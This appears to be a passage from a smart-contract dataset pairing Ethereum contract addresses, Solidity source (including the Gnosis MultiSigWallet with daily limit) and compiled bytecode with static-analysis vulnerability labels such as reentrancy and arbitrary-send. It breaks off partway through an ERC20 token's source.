505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611d3d8a601154601254611e8c565b9250925092506000611d4d611b53565b90506000806000611d608e878787611edb565b919e509c509a509598509396509194505050505091939550919395565b60006118c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d0565b600080611dcc8385612266565b9050838110156118c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ce565b6000611e28611b53565b90506000611e368383611a51565b30600090815260026020526040902054909150611e539082611dbf565b30600090815260026020526040902055505050565b600754611e759083611d7d565b600755600854611e859082611dbf565b6008555050565b6000808080611ea060646115df8989611a51565b90506000611eb360646115df8a89611a51565b90506000611ecb82611ec58b86611d7d565b90611d7d565b9992985090965090945050505050565b6000808080611eea8886611a51565b90506000611ef88887611a51565b90506000611f068888611a51565b90506000611f1882611ec58686611d7d565b939b939a50919850919650505050505050565b8035611f3681612333565b919050565b600060208284031215611f4d57600080fd5b81356118c181612333565b600060208284031215611f6a57600080fd5b81516118c181612333565b60008060408385031215611f8857600080fd5b8235611f9381612333565b91506020830135611fa381612333565b809150509250929050565b600080600060608486031215611fc357600080fd5b8335611fce81612333565b92506020840135611fde81612333565b929592945050506040919091013590565b6000806040838503121561200257600080fd5b823561200d81612333565b946020939093013593505050565b6000602080838503121561202e57600080fd5b823567ffffffffffffffff8082111561204657600080fd5b818501915085601f83011261205a57600080fd5b81358181111561206c5761206c61231d565b8060051b604051601f19603f830116810181811085821117156120915761209161231d565b604052828152858101935084860182860187018a10156120b057600080fd5b600095505b838610156120da576120c681611f2b565b8552600195909501949386019386016120b5565b5098975050505050505050565b6000602082840312156120f957600080fd5b813580151581146118c157600080fd5b60006020828403121561211b57600080fd5b5035919050565b6000806040838503121561213557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b8181101561217157858101830151858201604001528201612155565b81811115612183576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122455784516001600160a01b031683529383019391830191600101612220565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612279576122796122f1565b500190565b60008261229b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156122ba576122ba6122f1565b500290565b6000828210156122d1576122d16122f1565b500390565b60006000198214156122ea576122ea6122f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108af57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df43a2a521aa2930ccb3d73097e83582c1ea2cb0d0e42ca51b292946e654f46464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,825
0x9d70E84cf0598cCf36a64fD0C4e486fBC6a12F66
pragma solidity ^0.4.18; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner){ require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT); require(_required <= ownerCount); require(_required != 0); require(ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable public { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(isOwner[_owners[i]] == false); require(_owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txi = transactions[transactionId]; txi.executed = true; if (txi.destination.call.value(txi.value)(txi.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txi.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction storage txi = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || txi.data.length == 0 && isUnderLimit(txi.value)) { txi.executed = true; if (!confirmed) spentToday += txi.value; if (txi.destination.call.value(txi.value)(txi.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txi.executed = false; if (!confirmed) spentToday -= txi.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110d2565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111b8565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a36004808035906020019091905050611284565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112e0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611374565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114d0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116fa565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b6107436004808035906020019091905050611700565b005b341561075057600080fd5b61076660048080359060200190919050506117c3565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119a0565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119bf565b005b341561082f57600080fd5b610837611a3a565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a3f565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a45565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d5c565b005b34156108fc57600080fd5b610904611f8d565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e9190612137565b506003805490506004541115610bad57610bac600380549050611700565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211151515610f9e57600080fd5b818111151515610fad57600080fd5b60008114151515610fbd57600080fd5b60008214151515610fcd57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110399190612163565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111b05760016000858152602001908152602001600020600060038381548110151561111057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611190576001820191505b6004548214156111a357600192506111b1565b80806001019150506110df565b5b5050919050565b600080600090505b60038054905081101561127e576001600084815260200190815260200160002060006003838154811015156111f157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611271576001820191505b80806001019150506111c0565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112e861218f565b600380548060200260200160405190810160405280929190818152602001828054801561136a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611320575b5050505050905090565b61137c6121a3565b6113846121a3565b6000806005546040518059106113975750595b9080825280602002602001820160405250925060009150600090505b600554811015611453578580156113ea575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061141d575084801561141c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114465780838381518110151561143157fe5b90602001906020020181815250506001820191505b80806001019150506113b3565b8787036040518059106114635750595b908082528060200260200182016040525093508790505b868110156114c557828181518110151561149057fe5b90602001906020020151848983038151811015156114aa57fe5b9060200190602002018181525050808060010191505061147a565b505050949350505050565b6114d861218f565b6114e061218f565b6000806003805490506040518059106114f65750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156116555760016000868152602001908152602001600020600060038381548110151561154357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611648576003818154811015156115cb57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561160557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611512565b816040518059106116635750595b90808252806020026020018201604052509350600090505b818110156116f257828181518110151561169157fe5b9060200190602002015184828151811015156116a957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061167b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173a57600080fd5b600380549050816032821115151561175157600080fd5b81811115151561176057600080fd5b6000811415151561177057600080fd5b6000821415151561178057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181c57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e457600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199985611d5c565b5050505050565b60006119ad848484611f93565b90506119b8816117c3565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f957600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ada57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b3457600080fd5b600092505b600380549050831015611c1f578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b6c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c125783600384815481101515611bc457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c1f565b8280600101935050611b39565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000808260008082815260200190815260200160002060030160009054906101000a900460ff16151515611d8f57600080fd5b6000808581526020019081526020016000209250611dac846110d2565b91508180611de75750600083600201805460018160011615610100020316600290049050148015611de65750611de583600101546120e5565b5b5b15611f875760018360030160006101000a81548160ff021916908315150217905550811515611e255782600101546008600082825401925050819055505b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360010154846002016040518082805460018160011615610100020316600290048015611ece5780601f10611ea357610100808354040283529160200191611ece565b820191906000526020600020905b815481529060010190602001808311611eb157829003601f168201915b505091505060006040518083038185876187965a03f19250505015611f1f57837f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f86565b837f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008360030160006101000a81548160ff021916908315150217905550811515611f855782600101546008600082825403925050819055505b5b5b50505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fbc57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061207b9291906121b7565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b60006201518060075401421115612106574260078190555060006008819055505b6006548260085401118061211f57506008548260085401105b1561212d5760009050612132565b600190505b919050565b81548183558181151161215e5781836000526020600020918201910161215d9190612237565b5b505050565b81548183558181151161218a578183600052602060002091820191016121899190612237565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121f857805160ff1916838001178555612226565b82800160010185558215612226579182015b8281111561222557825182559160200191906001019061220a565b5b5090506122339190612237565b5090565b61225991905b8082111561225557600081600090555060010161223d565b5090565b905600a165627a7a7230582056fd980a7514b7a0689b05bf9c48fa80a689229bd7ff7b56f9f7953cd98528e00029
{"success": true, "error": null, "results": {}}
5,826
0x640a94042cc184b693d5a535a6898c99200a1ec2
pragma solidity 0.5.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _to != address(this)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard 